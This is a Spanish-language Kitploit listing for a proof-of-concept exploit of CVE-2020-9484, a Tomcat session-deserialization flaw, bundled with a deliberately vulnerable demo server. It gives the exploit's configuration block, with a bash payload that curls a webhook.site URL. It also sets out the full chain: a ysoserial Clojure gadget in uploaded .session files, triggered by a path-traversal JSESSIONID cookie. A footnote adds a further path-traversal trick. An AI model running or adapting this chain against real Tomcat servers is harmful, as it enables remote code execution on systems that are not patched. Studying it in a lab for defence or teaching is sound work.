Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PoC_CVE-2020-9484 — Exploit PoC para CVE-2020-9484, y una aplicación web vulnerable para su demostración | Kitploit
Herramientas/GitHubGitHub/savsch/poc_cve-2020-9484
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

Exploit PoC para CVE-2020-9484, y una aplicación web vulnerable para su demostración

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Este repositorio contiene un exploit de prueba de concepto para CVE-2020-9484, junto con un servidor web de ejemplo que es vulnerable a este exploit.


Requisitos previos para que esta vulnerabilidad sea explotable

Las versiones de Tomcat afectadas son:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. El PersistentManager está habilitado y está usando un FileStore.
  2. El atacante puede subir un archivo con contenido arbitrario, tiene control sobre la extensión del nombre del archivo (particularmente archivos .session), y conoce la ubicación donde se sube.
  3. Hay gadgets en el classpath (por ejemplo, clojure o commons-collections) que pueden usarse para un ataque de deserialización de Java.

El servicio vulnerable de ejemplo

El servicio de ejemplo es un servidor web con dos páginas, /index.jsp (o simplemente /) y /list.jsp. Permite al usuario subir y descargar archivos (específicos de la sesión actual), actuando efectivamente como almacenamiento de archivos.

  • Soporta peticiones POST a /upload para la subida de archivos, y permite al usuario elegir el nombre del archivo. Esto hace posible subir archivos con la extensión .session. También se sabe que el servidor almacena los archivos en el directorio /var/tmp/uploads.
  • Tiene PersistentManager habilitado usando un FileStore. (ver context.xml)
  • Tiene clojure:1.8.0 en el classpath, lo que facilita el ataque de deserialización. (ver pom.xml)

El Exploit

Para configurar el servicio vulnerable de ejemplo:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

El servicio debería estar ahora en funcionamiento en http://localhost:8085/POC_CVE-2020-9484/.

Ahora ajusta las variables de configuración al principio de exploit.py. El PAYLOAD, aquí un script de shell, puede ser cualquier archivo que el servidor pueda ejecutar.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

Ahora ejecuta exploit.py. Realiza las siguientes acciones:

  1. Descarga yoserial.
  2. Usa yoserial para generar objetos serializados maliciosos (como archivos .session), que eventualmente se deserializarán en el servidor:
    • chmodPayload.session para otorgar permisos de ejecución al archivo PAYLOAD subido al servidor.
    • executePayload.session para ejecutar el archivo PAYLOAD en el servidor.
  3. Sube el PAYLOAD como archivo al servidor.
  4. Sube los archivos .session generados anteriormente al servidor.
  5. Dispara una petición al servidor con la cookie JSESSIONID siendo la ruta de los archivos .session previamente subidos relativa al almacenamiento de sesiones del servidor, lo que desencadena su deserialización en el servidor y la posterior ejecución del payload.

Notas al pie

Muchos servidores almacenan los archivos subidos por los usuarios en una ruta de la forma /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. En tal caso, usar un JSESSIONID de la forma ../../../../tmp (en lugar de un valor arbitrario como "1337"*8 usado en exploit.py anteriormente) con la petición POST de subida de archivos puede ser potencialmente útil para determinar dónde se almacena el archivo subido en el servidor.

Descargar herramienta